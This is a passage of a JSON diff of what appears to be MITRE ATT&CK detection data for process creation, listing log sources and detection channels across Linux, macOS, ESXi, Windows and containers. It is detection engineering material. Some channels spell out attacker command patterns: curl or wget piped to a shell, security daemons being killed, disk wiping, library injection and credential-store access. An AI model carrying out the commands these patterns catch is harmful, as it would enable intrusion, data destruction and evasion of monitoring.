binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime" + }, + { + "name": "linux:osquery", + "channel": "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: binary == \"/usr/sbin/systemsetup\" and args contains \"-gettimezone\"" + }, + { + "name": "macos:osquery", + "channel": "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of osascript, curl, or unexpected automation" + }, + { + "name": "macos:unifiedlog", + "channel": "exec /usr/bin/pwpolicy" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw." + }, + { + "name": "linux:syslog", + "channel": "KERN messages about eBPF program load/verify or LSM denials related to bpf." + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations." + }, + { + "name": "macos:unifiedlog", + "channel": "Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters." + }, + { + "name": "auditd:EXECVE", + "channel": "/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of known flash tools (e.g., flashrom, fwupd)" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.firmwareupdater activity or update-firmware binary invoked" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API" + }, + { + "name": "macos:endpointSecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)" + }, + { + "name": "macos:osquery", + "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)" + }, + { + "name": "macos:unifiedlog", + "channel": "process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary" + }, + { + "name": "auditd:EXECVE", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "process:launch" + }, + { + "name": "auditd:EXECVE", + "channel": "Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\"" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of scp, rsync, curl with remote destination" + }, + { + "name": "macos:unifiedlog", + "channel": "logMessage contains pbpaste or osascript" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch of diskutil or system_profiler with SPStorageDataType" + }, + { + "name": "esxi:hostd", + "channel": "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail.app executing with parameters updating rules state" + }, + { + "name": "esxi:shell", + "channel": "/var/log/vmkernel.log, /var/log/vmkwarning.log" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera" + }, + { + "name": "kubernetes:apiserver", + "channel": "exec into pod followed by secret retrieval via API" + }, + { + "name": "macos:unifiedlog", + "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")" + }, + { + "name": "macos:unifiedlog", + "channel": "exec srm|exec openssl|exec gpg" + }, + { + "name": "linux:osquery", + "channel": "Process execution with LD_PRELOAD or modified library path" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "linux:Sysmon", + "channel": "process creation events linked to container namespaces executing host-level binaries" + }, + { + "name": "WinEventlog:Security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "process and signing chain events" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices events for misleading extensions" + }, + { + "name": "fs:fsusage", + "channel": "Execution of disguised binaries" + }, + { + "name": "linux:osquery", + "channel": "process listening or connecting on non-standard ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd services binding to non-standard ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, connect" + }, + { + "name": "esxi:cron", + "channel": "process or cron activity" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with unsigned or anomalously signed certificates" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve logging for /usr/bin/systemctl and systemd-run" + }, + { + "name": "macos:osquery", + "channel": "Invocation of osascript or dylib injection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of files saved in mail or download directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview" + }, + { + "name": "macos:unifiedlog", + "channel": "process events" + }, + { + "name": "linux:syslog", + "channel": "Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of CLI tools like psql, mysql, mongo, sqlite3" + }, + { + "name": "macos:unifiedlog", + "channel": "Process start of Java or native DB client tools" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or tccd-related entries" + }, + { + "name": "macos:osquery", + "channel": "query: process_events, launchd, and tcc.db access" + }, + { + "name": "ebpf:syscalls", + "channel": "process execution or network connect from just-created container PID namespace" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of pip, npm, gem, or similar package managers" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line invocation of pip3, brew install, npm install from interactive Terminal" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/exec of service via PID 1 (systemd)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of ssh/scp/sftp without corresponding authentication log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ssh or sftp without corresponding login event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of remote desktop app or helper binary" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes making network calls based on DNS-derived ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl spawning new processes" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl activity and process creation" + }, + { + "name": "containerd:events", + "channel": "New container with suspicious image name or high resource usage" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries" + }, + { + "name": "linux:osquery", + "channel": "Processes linked with libssl or crypto libraries making outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SSL routines from Security framework" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of binaries located in /etc/init.d/ or systemd service paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binary listed in newly modified LaunchAgent plist" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of bless or nvram modifying boot parameters" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes registered with launchd" + }, + { + "name": "macos:unifiedlog", + "channel": "Process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, osascript, or unexpected Office processes" + }, + { + "name": "macos:osquery", + "channel": "exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Trust validation failures or bypass attempts during notarization and code signing checks" + }, + { + "name": "esxi:vmkernel", + "channel": "spawned shell or execution environment activity" + }, + { + "name": "macos:unifiedlog", + "channel": "process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd/sgdisk with arguments writing to sector 0 or partition table" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets" + }, + { + "name": "m365:defender", + "channel": "AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)" + }, + { + "name": "macos:unifiedlog", + "channel": "execve or dylib load from memory without backing file" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw)." + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers." + }, + { + "name": "esxi:shell", + "channel": "Shell Execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual child process tree indicating attempted recovery after crash" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of binaries/scripts presenting false health messages for security daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes mimicking Apple Security & Privacy GUIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Auditing", + "channel": "EventCode=4688" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, setifflags" + }, + { + "name": "macos:osquery", + "channel": "process_events where path like '%tcpdump%'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, or wipe with arguments targeting block devices" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, git, or Office processes with network connections" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - process subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution for VBoxHeadless, prl_vm_app, vmware-vmx" + }, + { + "name": "macos:unifiedlog", + "channel": "process logs" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets" + }, + { + "name": "macos:unifiedlog", + "channel": "command line or log output shows non-standard encoding routines" + }, + { + "name": "esxi:shell", + "channel": "commands containing long non-standard tokens or custom lookup tables" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc." + }, + { + "name": "macos:unifiedlog", + "channel": "execve: Helper tools invoked through XPC executing unexpected binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of modified binary without valid signature" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'" + }, + { + "name": "macos:unifiedlog", + "channel": "process created with repeated ICMP or UDP flood behavior" + }, + { + "name": "fs:fsusage", + "channel": "binary execution of security_authtrampoline" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec" + }, + { + "name": "esxi:vmkernel", + "channel": "Exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Child processes of Safari, Chrome, or Firefox executing scripting interpreters" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of older or non-standard interpreters" + }, + { + "name": "linux:osquery", + "channel": "process execution events for permission modification utilities with command-line analysis" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with parameter analysis and target path examination" + }, + { + "name": "macos:osquery", + "channel": "process execution monitoring for permission modification utilities with command-line argument analysis" + }, + { + "name": "auditd:SYSCALL", + "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs" + }, + { + "name": "macos:osquery", + "channel": "Execution of flooding tools or compiled packet generators" + }, + { + "name": "esxi:hostd", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve for proxy tools" + }, + { + "name": "macos:unifiedlog", + "channel": "process, socket, and DNS logs" + }, + { + "name": "macos:osquery", + "channel": "process_events table" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line containing `trap` or `echo 'trap` written to login shell files" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect --predicate" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or nanosleep with no stdout/stderr I/O" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or osascript spawns process with delay command" + }, + { + "name": "linux:syslog", + "channel": "systemd-udevd spawning user-defined action from RUN+=" + }, + { + "name": "ebpf:syscalls", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"exec\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "cat|less|grep accessing .bash_history from a non-shell process" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg, rpm, or other package manager with list flag" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of system_profiler or osascript invoking enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "apache2 or nginx spawning sh, bash, or python interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "httpd spawning bash, zsh, python, or osascript" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security or osascript" + }, + { + "name": "WinEventLog:security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd spawning processes tied to new or modified LaunchDaemon .plist entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of commands modifying iptables/nftables to block selective IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "System process modifications altering DNS/proxy settings" + }, + { + "name": "containerd:Events", + "channel": "unusual process spawned from container image context" + }, + { + "name": "macos:osquery", + "channel": "curl, python scripts, rsync with internal share URLs" + }, + { + "name": "macos:unifiedlog", + "channel": "process: spawn, exec" + }, + { + "name": "macos:osquery", + "channel": "Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps performing repeated DNS lookups" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices or loginwindow events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with LD_PRELOAD or linker-related environment variables set" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of re-parented process" + }, + { + "name": "linux:osquery", + "channel": "Anomalous parent PID change" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation with parent PID of 1 (launchd)" + }, + { + "name": "linux:osquery", + "channel": "child process invoking dynamic linker post-ptrace" + }, + { + "name": "macos:osquery", + "channel": "Processes executing kextload, spctl, or modifying kernel extension directories" + }, + { + "name": "macos:osquery", + "channel": "Unsigned or ad-hoc signed process executions in user contexts" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of diskutil or hdiutil attaching hidden partitions" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis" + }, + { + "name": "macos:osquery", + "channel": "process event monitoring with focus on discovery utilities and cryptographic framework usage correlation" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps generating frequent DNS queries" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket: Suspicious creation of AF_UNIX sockets outside expected daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Non-standard processes invoking financial applications or payment APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells" + }, + { + "name": "auditd:SYSCALL", + "channel": "systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system" + }, + { + "name": "macos:unifiedlog", + "channel": "Process exec of remote-control apps or binaries with headless/connect flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl unload, kill, or removal of security agent daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "process activity, exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream process subsystem" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec and kext load events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'" + }, + { + "name": "WinEventLog:Microsoft-Windows-DotNETRuntime", + "channel": "Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of network stress tools or anomalies in socket/syscall behavior" + }, + { + "name": "macos:unifiedlog", + "channel": "Unsigned binary execution following SIP change" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "EventCode=8003,8004" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, unlink" + }, + { + "name": "macos:osquery", + "channel": "launchd, processes" + }, + { + "name": "linux:osquery", + "channel": "socat, ssh, or nc processes opening unexpected ports" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution of ssh with -L/-R forwarding flags" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or cron spawning mining binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls for processes using RSA handshake" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs" + }, + { + "name": "azure:vmguest", + "channel": "Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Script interpreter invoked by nginx/apache worker process" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of Office binaries with network activity" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of bash/zsh/python/osascript targeting key file locations" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of /sbin/emond with child processes launched" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete" + }, + { + "name": "macos:unifiedlog", + "channel": "shutdown -h now or reboot" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for process execution and system call monitoring during reconnaissance" + }, + { + "name": "esxi:hostd", + "channel": "host daemon events related to VM operations and configuration queries during reconnaissance" + }, + { + "name": "esxi:vmkernel", + "channel": "VMware kernel events for hardware and system configuration access during environmental validation" + }, + { + "name": "linux:osquery", + "channel": "processes modifying environment variables related to history logging" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, rclone, or Office apps invoking network sessions" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of kextstat, kextfind, or ioreg targeting driver information" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation involving binaries interacting with resource fork data" + }, + { + "name": "macos:unifiedlog", + "channel": "process event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of suspicious exploit binaries targeting security daemons" + }, + { + "name": "macos:osquery", + "channel": "execve: Unsigned or unnotarized processes launched with high privileges" + }, + { + "name": "macos:unifiedlog", + "channel": "security OR injection attempts into 1Password OR LastPass" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0032\", \"external_id\": \"DC0032\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains pubsub or broker'\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"linux:osquery\", \"channel\": \"Execution of binary resolved from $PATH not located in /usr/bin or /bin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution path inconsistent with baseline PATH directories\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with suspicious arguments\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve network tools\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to soffice.bin with suspicious macro execution flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts\"}, {\"name\": \"macos:osquery\", \"channel\": \"process reading browser configuration paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec logs\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Process execution context for loaders calling dlopen/dlsym\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"EXECVE\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of unexpected binaries during user shell startup\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of Terminal.app or shell with non-standard environment setup\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of systemctl or service stop\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of launchctl or pkill\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process::exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of non-standard binaries accessing Kerberos APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Electron-based binary spawning shell or script interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Electron app spawning unexpected child process\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history or /etc/init.d/*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls with high-frequency or known bandwidth-intensive tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn calls to proxy tools or torrent clients\"}, {\"name\": \"containers:osquery\", \"channel\": \"bandwidth-intensive command execution from within a container namespace\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'subsystem == \\\"com.apple.cfprefsd\\\"'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security, sqlite3, or unauthorized binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected applications generating outbound DNS queries\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected child process of Safari or Chrome\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process writes or modifies files in excluded paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.mail.* exec.*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of memory inspection tools (lldb, gdb, osqueryi)\"}, {\"name\": \"esxi:vobd\", \"channel\": \"/var/log/vobd.log\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"kubectl exec or kubelet API calls targeting running pods\"}, {\"name\": \"docker:audit\", \"channel\": \"Process execution events within container namespace context\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"process persists beyond parent shell termination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"background process persists beyond user logout\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process execution across cloud VM\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl spawning managed processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec events where web process starts a shell/tooling\"}, {\"name\": \"docker:events\", \"channel\": \"Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of osascript, bash, curl with suspicious parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of discovery commands targeting backup binaries, processes, or config paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events OR launchd\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or 